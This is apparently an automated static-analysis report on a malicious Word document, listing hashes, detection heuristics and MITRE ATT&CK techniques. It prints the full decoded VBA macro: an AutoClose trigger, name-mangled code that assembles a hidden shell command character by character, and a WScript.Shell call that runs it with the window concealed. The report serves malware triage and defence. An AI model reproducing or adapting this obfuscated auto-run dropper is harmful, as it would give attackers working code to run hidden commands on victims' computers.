Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e383c82be06e8229…

MALICIOUS

Office (OLE)

222.0 KB Created: 2017-09-13 01:09:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: b9f2b64d91b8c01801ba18ffed38b00f SHA-1: d3287f785172be40554c5efa6dff8b403366c827 SHA-256: e383c82be06e8229d7d8efae5ded9f5c5d11e45a57b04ada37eea4ab97c08a74
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The macros utilize WScript.Shell and CreateObject, indicating an attempt to execute commands or download additional content. The presence of an AutoClose macro suggests automatic execution upon opening. The ClamAV detection and heuristic firings strongly suggest a macro-based downloader.

Heuristics 10

  • ClamAV: Doc.Macro.Obfuscation-6344051-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6344051-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       Application.run "Daba", "Wscript.Shell", apgjahb
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub Daba(abc As String, akda As String)
CreateObject(abc).run akda, 0
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "yqasysb"
Sub AutoClose()
    jrisok
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18353 bytes
SHA-256: 026df4b8fdec3ba86ce141cd841cd26fefc333664f90dea0eb2491fea4cc4026
Detection
ClamAV: No threats found
Obfuscation or payload: likely
99 of 185 identifiers look randomly generated (e.g. 'mpyfkzud') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "yqasysb"
Sub AutoClose()
    jrisok
End Sub

Public Sub jrisok()

    sqxhhorq.ulrwsnq
sqxhhorq.rgwcoyl
sqxhhorq.opsfvxgn
sqxhhorq.rukse
sqxhhorq.ugntzsm
sqxhhorq.gjchd
sqxhhorq.eyokeghl
sqxhhorq.blnijoun
sqxhhorq.nczv
sqxhhorq.olynt
sqxhhorq.jgvt
sqxhhorq.dvpbhgqz
sqxhhorq.awzu
sqxhhorq.cxqd
sqxhhorq.aqjzyhb
sqxhhorq.fuhmdr
sqxhhorq.ahiiok
sqxhhorq.oqxkze
sqxhhorq.cdxbrwg
sqxhhorq.uonl
sqxhhorq.znlxywnm
sqxhhorq.cbdjrwrm
sqxhhorq.cnchhtat
sqxhhorq.bjjbeu
sqxhhorq.tfjqbsfk
sqxhhorq.tgtjlx
sqxhhorq.dcuxd
sqxhhorq.cjhrqv
sqxhhorq.rrgm
sqxhhorq.znmb
sqxhhorq.wqjobg
sqxhhorq.ojvga
sqxhhorq.vwyscvzw
sqxhhorq.ipejemom
sqxhhorq.kmkow
sqxhhorq.epert
sqxhhorq.rfrekgao
sqxhhorq.bcoigwy
sqxhhorq.kkcjiv
sqxhhorq.khwd
sqxhhorq.uery
sqxhhorq.ddcjecuz
sqxhhorq.kgrn
sqxhhorq.zolaj
sqxhhorq.vclypfo
sqxhhorq.trre
sqxhhorq.jwegqbs
sqxhhorq.wbpd
sqxhhorq.nkbhtd
sqxhhorq.kvkak
sqxhhorq.kkhpem
sqxhhorq.tppfmjj
sqxhhorq.sdjv
sqxhhorq.zgawyr
sqxhhorq.kwmbzp
sqxhhorq.nxvmmedx
sqxhhorq.mpyfkzud
sqxhhorq.vbhjjer
sqxhhorq.tkhwgcz
sqxhhorq.soww
sqxhhorq.iwizxyr
sqxhhorq.hritpro
sqxhhorq.kklhgnx
sqxhhorq.jgtz
sqxhhorq.gkta
sqxhhorq.zubnulub
sqxhhorq.qtrr
sqxhhorq.uezjeug
sqxhhorq.yasezpk
sqxhhorq.hubqr
sqxhhorq.zqupcqxy
sqxhhorq.pdyne
sqxhhorq.hqnl
sqxhhorq.siuusytm
sqxhhorq.qrtmvtja
sqxhhorq.bfbn
sqxhhorq.vpahrq
sqxhhorq.miwyhhzt
sqxhhorq.bxuxuom
sqxhhorq.lpxkz
sqxhhorq.ijmiuxw
sqxhhorq.neipl
sqxhhorq.onviffif
sqxhhorq.zpdzb
sqxhhorq.zcit
sqxhhorq.joucwdhp
sqxhhorq.znrfem
sqxhhorq.heqid
sqxhhorq.viko
sqxhhorq.okzbqxb
sqxhhorq.fqmya
sqxhhorq.pxox
sqxhhorq.lnerl
sqxhhorq.annuqkqi
sqxhhorq.osxsrcyf
sqxhhorq.ljvu
sqxhhorq.pdyi
sqxhhorq.uhzny
sqxhhorq.defnbp
sqxhhorq.brcrj
sqxhhorq.hhxier
sqxhhorq.jrlembb
sqxhhorq.rzydc
sqxhhorq.ubcs
sqxhhorq.wtfwzo
sqxhhorq.ghxpz
sqxhhorq.ifnmhk
sqxhhorq.ovolrlsy
sqxhhorq.jbjeokvz
sqxhhorq.xeem
sqxhhorq.bghcql
sqxhhorq.iefsap
sqxhhorq.befhud
sqxhhorq.jxunow
sqxhhorq.mfugvrw
sqxhhorq.ynpoy
sqxhhorq.udvaspn
sqxhhorq.xpkq
sqxhhorq.xgakigl
sqxhhorq.jfbfv
sqxhhorq.fbhdpfvs
sqxhhorq.oxtp
sqxhhorq.xkkjyc
sqxhhorq.gxuqc
sqxhhorq.ixgcxfe
sqxhhorq.lshbjkl
sqxhhorq.rong
sqxhhorq.txmserev
sqxhhorq.krvp
sqxhhorq.cogyw
sqxhhorq.pplzmuto
sqxhhorq.scaw
sqxhhorq.zxzpdxl

    Dim apgjahb As String
Dim apgavit As String
apgavit = "3797067"
While apgavit <> 7920438
If apgavit = "3797067" Then
apgjahb = apgjahb & chrw(sqxhhorq.afuqix) & chrw(sqxhhorq.pyhfvoj) & chrw(sqxhhorq.opxt) & chrw(sqxhhorq.lcgeans) & chrw(sqxhhorq.hnmej) & chrw(sqxhhorq.tjzsk)
apgavit = "8274066"
End If
chrw (sqxhhorq.gizjkk)
If apgavit = "7456090" Then
Dim olnygcqh As String
olnygcqh = "9420512"
End If
If apgavit = "8274066" Then
apgjahb = apgjahb & chrw(sqxhhorq.hnmej) & chrw(sqxhhorq.qtmsid) & chrw(sqxhhorq.cqtnqb) & chrw(sqxhhorq.afuqix) & chrw(sqxhhorq.qtmsid) & chrw(sqxhhorq.uuxxvq)
apgavit = "1031387"
End If
chrw (sqxhhorq.wqzs)
If apgavit = "6650665" Then
Dim ihsphft As String
ihsphft = "6392182"
End If
If apgavit = "1031387" Then
apgjahb = apgjahb & chrw(sqxhhorq.jvfwri) & chrw(sqxhhorq.kjufrjth) & chrw(sqxhhorq.qmcyk) & chrw(sqxhhorq.rhpmvaai) & chrw(sqxhhorq.opxt) & chrw(sqxhhorq.pyhfvoj)
apgavit = "6690043"
End If
chrw (sqxhhorq.rcuqz)
If apgavit = "1844207" Then
Dim krkvqvz As String
krkvqvz = "3061448"
End If
If apgavit = "6690043" Then
apgjahb = apgjahb & chrw(sqxhhorq.jvfwri) & chrw(sqxhhorq.qprt) & chrw(sqxhhorq.qtmsid) & chrw(sqxhhorq.cqtnqb) & chrw(sqxhhorq.kjufrjth) & chrw(sqxhhorq.vxcbn)
apgavit = "2885526"
End If
chrw (sqxhhorq.fdpvebj)
If apgavit = "5777528" Then
Dim zqcqkk As String
zqcqkk = "4803762"
End If
If apgavit = "2885526" Then
apgjahb = apgjahb & chrw(sqxhhorq.rhpmvaai) & chrw(sqxhhorq.qprt) & chrw(sqxhhorq.qmcyk) & chrw(sqxhhorq.wqzs) & chrw(sqxhhorq.hnmej) & chrw(sqxhhorq.vxcbn)
apgavit = "299380"
End If
chrw (sqxhhorq.ctrxshm)
If apgavit = "7794790" Then
Dim usztdoi As String
usztdoi = "2982385"
End If
If apgavit = "299380" Then
apgjahb = apgjahb & chrw(sqxhhorq.qtmsid) & chrw(sqxhhorq.cqtnqb) & chrw(sqxhhorq.opxt) & chrw(sqxhhorq.rhsgg) & chrw(sqxhhorq.daroz) & chrw(sqxhhorq.qprt)
apgavit = "6229381"
End If
chrw (sqxhhorq.wgwge)
If apgavit = "8592934" Then
Dim rmkx As String
rmkx = "1404207"
End If
If apgavit = "6229381" Then
apgjahb = apgjahb & chrw(sqxhhorq.vpeaduk) & chrw(sqxhhorq.rhsgg) & chrw(sqxhhorq.rhpmvaai) & chrw(sqxhhorq.opxt) & chrw(sqxhhorq.qtmsid) & chrw(sqxhhorq.nbksc)
apgavit = "9161351"
End If
chrw (sqxhhorq.kgtdurx)
If apgavit = "7049538" Then
Dim ydafn As String
ydafn = "5548760"
End If
If apgavit = "9161351" Then
apgjahb = apgjahb & chrw(sqxhhorq.bfuoe) & chrw(sqxhhorq.kjufrjth) & chrw(sqxhhorq.kjufrjth) & chrw(sqxhhorq.thehx) & chrw(sqxhhorq.aviaeiot) & chrw(sqxhhorq.cqtnqb)
apgavit = "9151596"
End If
chrw (sqxhhorq.tndt)
If apgavit = "9070251" Then
Dim ohqpxftf As String
ohqpxftf = "9374338"
End If
If apgavit = "9151596" Then
apgjahb = apgjahb & chrw(sqxhhorq.cqtnqb) & chrw(sqxhhorq.agigklot) & chrw(sqxhhorq.whugzx) & chrw(sqxhhorq.atgvn) & chrw(sqxhhorq.lcgeans) & chrw(sqxhhorq.agigklot)
apgavit = "4609047"
End If
chrw (sqxhhorq.qcxjmdei)
If apgavit = "6174442" Then
Dim cgtbuu As String
cgtbuu = "7079018"
End If
If apgavit = "4609047" Then
apgjahb = apgjahb & chrw(sqxhhorq.whugzx) & chrw(sqxhhorq.nsdr) & chrw(sqxhhorq.lcgeans) & chrw(sqxhhorq.yvjk) & chrw(sqxhhorq.omlgy) & chrw(sqxhhorq.lcgeans)
apgavit = "1349327"
End If
chrw (sqxhhorq.rhsgg)
If apgavit = "9908202" Then
Dim fokywg As String
fokywg = "6791263"
End If
If apgavit = "1349327" Then
apgjahb = apgjahb & chrw(sqxhhorq.agigklot) & chrw(sqxhhorq.skzibjrm) & chrw(sqxhhorq.skzibjrm) & chrw(sqxhhorq.cqtnqb) & chrw(sqxhhorq.pyhfvoj) & chrw(sqxhhorq.exgiwe)
apgavit = "5084559"
End If
chrw (sqxhhorq.xbbp)
If apgavit = "3638777" Then
Dim pslguses As String
pslguses = "9309670"
End If
If apgavit = "5084559" Then
apgjahb = apgjahb & chrw(sqxhhorq.qmcyk) & chrw(sqxhhorq.jvfwri) & chrw(sqxhhorq.afuqix) & chrw(sqxhhorq.lcgeans) & chrw(sqxhhorq.wtjrpu) & chrw(sqxhhorq.thehx)
apgavit = "2374247"
End If
chrw (sqxhhorq.olgjo)
If apgavit = "845809" Then
Dim gxvbztt As String
gxvbztt = "276842"
End If
If apgavit = "2374247" Then
apgjahb = apgjahb & chrw(sqxhhorq.nbksc) & chrw(sqxhhorq.qtmsid) & chrw(sqxhhorq.nbksc) & chrw(sqxhhorq.exhm) & chrw(sqxhhorq.kjufrjth) & chrw(sqxhhorq.pyhfvoj)
apgavit = "3715481"
End If
chrw (sqxhhorq.wnoxfiu)
If apgavit = "688710" Then
Dim dmthao As String
dmthao = "7765623"
End If
If apgavit = "3715481" Then
apgjahb = apgjahb & chrw(sqxhhorq.thehx) & chrw(sqxhhorq.exhm) & chrw(sqxhhorq.cqtnqb) & chrw(sqxhhorq.byos) & chrw(sqxhhorq.dlxk) & chrw(sqxhhorq.opxt)
apgavit = "4515194"
End If
chrw (sqxhhorq.zojsgrq)
If apgavit = "9858071" Then
Dim tpdlrt As String
tpdlrt = "9883382"
End If
If apgavit = "4515194" Then
apgjahb = apgjahb & chrw(sqxhhorq.daroz) & chrw(sqxhhorq.hnmej) & chrw(sqxhhorq.rhpmvaai) & chrw(sqxhhorq.lcgeans) & chrw(sqxhhorq.hnmej) & chrw(sqxhhorq.tjzsk)
apgavit = "5758925"
End If
chrw (sqxhhorq.tolxun)
If apgavit = "9159571" Then
Dim lnrdmnat As String
lnrdmnat = "5307224"
End If
If apgavit = "5758925" Then
apgjahb = apgjahb & chrw(sqxhhorq.hnmej) & chrw(sqxhhorq.nbksc) & chrw(sqxhhorq.qtmsid) & chrw(sqxhhorq.eafwto) & chrw(sqxhhorq.eafwto) & chrw(sqxhhorq.qtmsid)
apgavit = "1669994"
End If
chrw (sqxhhorq.ihwl)
If apgavit = "1130848" Then
Dim trmxgmyl As String
trmxgmyl = "2086831"
End If
If apgavit = "1669994" Then
apgjahb = apgjahb & chrw(sqxhhorq.nbksc) & chrw(sqxhhorq.exhm) & chrw(sqxhhorq.kjufrjth) & chrw(sqxhhorq.pyhfvoj) & chrw(sqxhhorq.thehx) & chrw(sqxhhorq.exhm)
apgavit = "3652566"
End If
chrw (sqxhhorq.hqbj)
If apgavit = "2293893" Then
Dim zplkl As String
zplkl = "707200"
End If
If apgavit = "3652566" Then
apgjahb = apgjahb & chrw(sqxhhorq.cqtnqb) & chrw(sqxhhorq.byos) & chrw(sqxhhorq.dlxk) & chrw(sqxhhorq.opxt) & chrw(sqxhhorq.daroz) & chrw(sqxhhorq.hnmej)
apgavit = "7920438"
End If
chrw (sqxhhorq.iptaz)
If apgavit = "5720749" Then
Dim ibcp As String
ibcp = "5139197"
End If
If apgavit = "7920438" Then
apgjahb = apgjahb & chrw(sqxhhorq.rhpmvaai) & chrw(sqxhhorq.lcgeans) & chrw(sqxhhorq.hnmej) & chrw(sqxhhorq.tjzsk) & chrw(sqxhhorq.hnmej) & chrw(sqxhhorq.nbksc)
apgavit = "7920438"
End If
chrw (sqxhhorq.wkczqg)
If apgavit = "1148185" Then
Dim wjsx As String
wjsx = "1976012"
End If
Wend

   Application.run "Daba", "Wscript.Shell", apgjahb
End Sub
Sub Daba(abc As String, akda As String)
CreateObject(abc).run akda, 0
End Sub

Attribute VB_Name = "sqxhhorq"
Public wkczqg As String
Public vodptek As String
Public vwrcbbfy As String
Public ytwegjh As String
Public dhnibcff As String
Public qmlrfr As String
Public glahu As String
Public iptaz As String
Public bpvq As String
Public jgxppn As String
Public hquz As String
Public ckxxggse As String
Public oxquvg As String
Public tdys As String
Public hqbj As String
Public dhly As String
Public uapbahns As String
Public acfd As String
Public rgbfg As String
Public qowwhb As String
Public krcxal As String
Public ihwl As String
Public kmuadtei As String
Public fcrf As String
Public eafwto As String
Public oubony As String
Public dmpk As String
Public bfszxovb As String
Public tolxun As String
Public npvfurap As String
Public biyv As String
Public phbnw As String
Public vfqazu As String
Public lewcj As String
Public xrcempxa As String
Public zojsgrq As String
Public galjo As String
Public dlxk As String
Public byos As String
Public iienxbec As String
Public afmgjuq As String
Public jdwlurx As String
Public wnoxfiu As String
Public wpemc As String
Public xddlf As String
Public exhm As String
Public meagxwiv As String
Public pbko As String
Public zoawjura As String
Public olgjo As String
Public ibabbji As String
Public wtjrpu As String
Public qbddkis As String
Public bdpnps As String
Public ewuxke As String
Public qymkr As String
Public xbbp As String
Public exgiwe As String
Public qyfmwtc As String
Public bgccy As String
Public xxigh As String
Public skzibjrm As String
Public qfmofha As String
Public xzvin As String
Public cupfwyjh As String
Public omlgy As String
Public yvjk As String
Public apzgjax As String
Public nsdr As String
Public kidtehbo As String
Public qcxjmdei As String
Public wwuit As String
Public nwbjge As String
Public atgvn As String
Public whugzx As String
Public agigklot As String
Public lvyvq As String
Public tndt As String
Public pbxgoej As String
Public aviaeiot As String
Public thehx As String
Public trsg As String
Public svuna As String
Public bfuoe As String
Public kgtdurx As String
Public nbksc As String
Public evrfl As String
Public czaincn As String
Public yttee As String
Public cwft As String
Public vpeaduk As String
Public wgwge As String
Public ongvkzcr As String
Public daroz As String
Public rhsgg As String
Public kkeesq As String
Public fjod As String
Public msrmgkaq As String
Public ctrxshm As String
Public pvvi As String
Public camek As String
Public ckutja As String
Public fozfg As String
Public furg As String
Public upvbpns As String
Public fdpvebj As String
Public vxcbn As String
Public uuqdpbiv As String
Public ssgqwev As String
Public izyqqmdb As String
Public qprt As String
Public gprvn As String
Public rcuqz As String
Public adrdklva As String
Public kvrlko As String
Public rhpmvaai As String
Public qmcyk As String
Public kjufrjth As String
Public jvfwri As String
Public wqzs As String
Public uuxxvq As String
Public zuth As String
Public ckmvydzo As String
Public cqtnqb As String
Public qtmsid As String
Public jywmbegp As String
Public gizjkk As String
Public tjzsk As String
Public hnmej As String
Public lcgeans As String
Public opxt As String
Public pyhfvoj As String
Public afuqix As String
Sub ulrwsnq()
afuqix = 8981 - 8882
End Sub
Sub rgwcoyl()
pyhfvoj = -9376 + 9485
End Sub
Sub opsfvxgn()
opxt = 2233 - 2133
End Sub
Sub rukse()
lcgeans = -3199 + 3245
End Sub
Sub ugntzsm()
hnmej = 2336 - 2235
End Sub
Sub gjchd()
tjzsk = 103 + 17
End Sub
Sub eyokeghl()
gizjkk = -640 + 1500
End Sub
Sub blnijoun()
jywmbegp = 6278 - 6177
End Sub
Sub nczv()
qtmsid = 8256 - 8224
End Sub
Sub olynt()
cqtnqb = -2604 + 2651
End Sub
Sub jgvt()
ckmvydzo = -6087 + 6186
End Sub
Sub dvpbhgqz()
zuth = 3340 - 3308
End Sub
Sub awzu()
uuxxvq = -3088 + 3186
End Sub
Sub cxqd()
wqzs = 3782 - 3680
End Sub
Sub aqjzyhb()
jvfwri = 5505 - 5400
End Sub
Sub fuhmdr()
kjufrjth = -5167 + 5283
End Sub
Sub ahiiok()
qmcyk = -6345 + 6460
End Sub
Sub oqxkze()
rhpmvaai = 6649 - 6552
End Sub
Sub cdxbrwg()
kvrlko = -832 + 932
End Sub
Sub uonl()
adrdklva = 5870 - 5761
End Sub
Sub znlxywnm()
rcuqz = 3473 - 3103
End Sub
Sub cbdjrwrm()
gprvn = 6245 - 6140
End Sub
Sub cnchhtat()
qprt = -5829 + 5939
End Sub
Sub bjjbeu()
izyqqmdb = 6720 - 6688
End Sub
Sub tfjqbsfk()
ssgqwev = -4093 + 4140
End Sub
Sub tgtjlx()
uuqdpbiv = 2152 - 2036
End Sub
Sub dcuxd()
vxcbn = -1214 + 1328
End Sub
Sub cjhrqv()
fdpvebj = 3357 - 2630
End Sub
Sub rrgm()
upvbpns = 1783 - 1686
End Sub
Sub znmb()
furg = -8159 + 8269
End Sub
Sub wqjobg()
fozfg = -1926 + 2041
End Sub
Sub ojvga()
ckutja = 1117 - 1015
End Sub
Sub vwyscvzw()
camek = -6628 + 6729
End Sub
Sub ipejemom()
pvvi = 4811 - 4697
End Sub
Sub kmkow()
ctrxshm = 6051 - 5578
End Sub
Sub epert()
msrmgkaq = 3182 - 3150
End Sub
Sub rfrekgao()
fjod = 879 - 832
End Sub
Sub bcoigwy()
kkeesq = -7664 + 7764
End Sub
Sub kkcjiv()
rhsgg = -1060 + 1171
End Sub
Sub khwd()
daroz = 3552 - 3433
End Sub
Sub uery()
ongvkzcr = 7091 - 6981
End Sub
Sub ddcjecuz()
wgwge = 4926 - 4736
End Sub
Sub kgrn()
vpeaduk = -8298 + 8406
End Sub
Sub zolaj()
cwft = 4246 - 4135
End Sub
Sub vclypfo()
yttee = 6504 - 6407
End Sub
Sub trre()
czaincn = 6175 - 6075
End Sub
Sub jwegqbs()
evrfl = 5532 - 5500
End Sub
Sub wbpd()
nbksc = -7771 + 7805
End Sub
Sub nkbhtd()
kgtdurx = 2978 - 2390
End Sub
Sub kvkak()
bfuoe = 8554 - 8450
End Sub
Sub kkhpem()
svuna = 294 - 178
End Sub
Sub tppfmjj()
trsg = 5233 - 5117
End Sub
Sub sdjv()
thehx = 648 - 536
End Sub
Sub zgawyr()
aviaeiot = 8041 - 7983
End Sub
Sub kwmbzp()
pbxgoej = 8036 - 7989
End Sub
Sub nxvmmedx()
tndt = -4026 + 4515
End Sub
Sub mpyfkzud()
lvyvq = 8162 - 8115
End Sub
Sub vbhjjer()
agigklot = 2423 - 2374
End Sub
Sub tkhwgcz()
whugzx = -4892 + 4948
End Sub
Sub soww()
atgvn = 1020 - 967
End Sub
Sub iwizxyr()
nwbjge = -8289 + 8335
End Sub
Sub hritpro()
wwuit = -6928 + 6977
End Sub
Sub kklhgnx()
qcxjmdei = 9575 - 8775
End Sub
Sub jgtz()
kidtehbo = 9291 - 9235
End Sub
Sub gkta()
nsdr = 2266 - 2215
End Sub
Sub zubnulub()
apzgjax = -188 + 234
End Sub
Sub qtrr()
yvjk = -9153 + 9210
End Sub
Sub uezjeug()
omlgy = -2538 + 2593
End Sub
Sub yasezpk()
cupfwyjh = 7634 - 7588
End Sub
Sub hubqr()
xzvin = -7425 + 7536
End Sub
Sub zqupcqxy()
qfmofha = 3919 - 3870
End Sub
Sub pdyne()
skzibjrm = 8048 - 7994
End Sub
Sub hqnl()
xxigh = 7872 - 7818
End Sub
Sub siuusytm()
bgccy = -8863 + 8910
End Sub
Sub qrtmvtja()
qyfmwtc = 5945 - 5836
End Sub
Sub bfbn()
exgiwe = 7569 - 7452
End Sub
Sub vpahrq()
xbbp = -475 + 890
End Sub
Sub miwyhhzt()
qymkr = 3650 - 3535
End Sub
Sub bxuxuom()
ewuxke = -3094 + 3199
End Sub
Sub lpxkz()
bdpnps = -217 + 316
End Sub
Sub ijmiuxw()
qbddkis = -9087 + 9133
End Sub
Sub neipl()
wtjrpu = -818 + 940
End Sub
Sub onviffif()
ibabbji = 3832 - 3720
End Sub
Sub zpdzb()
olgjo = -902 + 1033
End Sub
Sub zcit()
zoawjura = 3452 - 3418
End Sub
Sub joucwdhp()
pbko = -7628 + 7660
End Sub
Sub znrfem()
meagxwiv = 8358 - 8324
End Sub
Sub heqid()
exhm = -432 + 469
End Sub
Sub viko()
xddlf = 8316 - 8200
End Sub
Sub okzbqxb()
wpemc = 4312 - 4203
End Sub
Sub fqmya()
wnoxfiu = 4709 - 3884
End Sub
Sub pxox()
jdwlurx = 7193 - 7081
End Sub
Sub lnerl()
afmgjuq = -9779 + 9816
End Sub
Sub annuqkqi()
iienxbec = 3502 - 3455
End Sub
Sub osxsrcyf()
byos = -2543 + 2608
End Sub
Sub ljvu()
dlxk = 5301 - 5227
End Sub
Sub pdyi()
galjo = -6861 + 6961
End Sub
Sub uhzny()
zojsgrq = 5142 - 5097
End Sub
Sub defnbp()
xrcempxa = -1890 + 2009
End Sub
Sub brcrj()
lewcj = 8426 - 8325
End Sub
Sub hhxier()
vfqazu = -1262 + 1359
End Sub
Sub jrlembb()
phbnw = 7120 - 7074
End Sub
Sub rzydc()
biyv = 5201 - 5100
End Sub
Sub ubcs()
npvfurap = 9486 - 9366
End Sub
Sub wtfwzo()
tolxun = 5828 - 4994
End Sub
Sub ghxpz()
bfszxovb = -9742 + 9843
End Sub
Sub ifnmhk()
dmpk = -7385 + 7419
End Sub
Sub ovolrlsy()
oubony = 1391 - 1359
End Sub
Sub jbjeokvz()
eafwto = 8961 - 8923
End Sub
Sub xeem()
fcrf = -9859 + 9897
End Sub
Sub bghcql()
kmuadtei = -1186 + 1218
End Sub
Sub iefsap()
ihwl = 3162 - 2571
End Sub
Sub befhud()
krcxal = 9013 - 8979
End Sub
Sub jxunow()
qowwhb = -774 + 811
End Sub
Sub mfugvrw()
rgbfg = -773 + 889
End Sub
Sub ynpoy()
acfd = 1160 - 1051
End Sub
Sub udvaspn()
uapbahns = -6453 + 6565
End Sub
Sub xpkq()
dhly = -4922 + 4959
End Sub
Sub xgakigl()
hqbj = -65 + 1043
End Sub
Sub jfbfv()
tdys = -2471 + 2518
End Sub
Sub fbhdpfvs()
oxquvg = 6142 - 6077
End Sub
Sub oxtp()
ckxxggse = 3582 - 3508
End Sub
Sub xkkjyc()
hquz = 6272 - 6172
End Sub
Sub gxuqc()
jgxppn = -1759 + 1878
End Sub
Sub ixgcxfe()
bpvq = -2275 + 2376
End Sub
Sub lshbjkl()
iptaz = -750 + 1051
End Sub
Sub rong()
glahu = -5789 + 5886
End Sub
Sub txmserev()
qmlrfr = -8766 + 8812
End Sub
Sub krvp()
dhnibcff = -4582 + 4683
End Sub
Sub cogyw()
ytwegjh = -6185 + 6305
End Sub
Sub pplzmuto()
vwrcbbfy = 8666 - 8565
End Sub
Sub scaw()
vodptek = 7852 - 7818
End Sub
Sub zxzpdxl()
wkczqg = -3800 + 3954
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.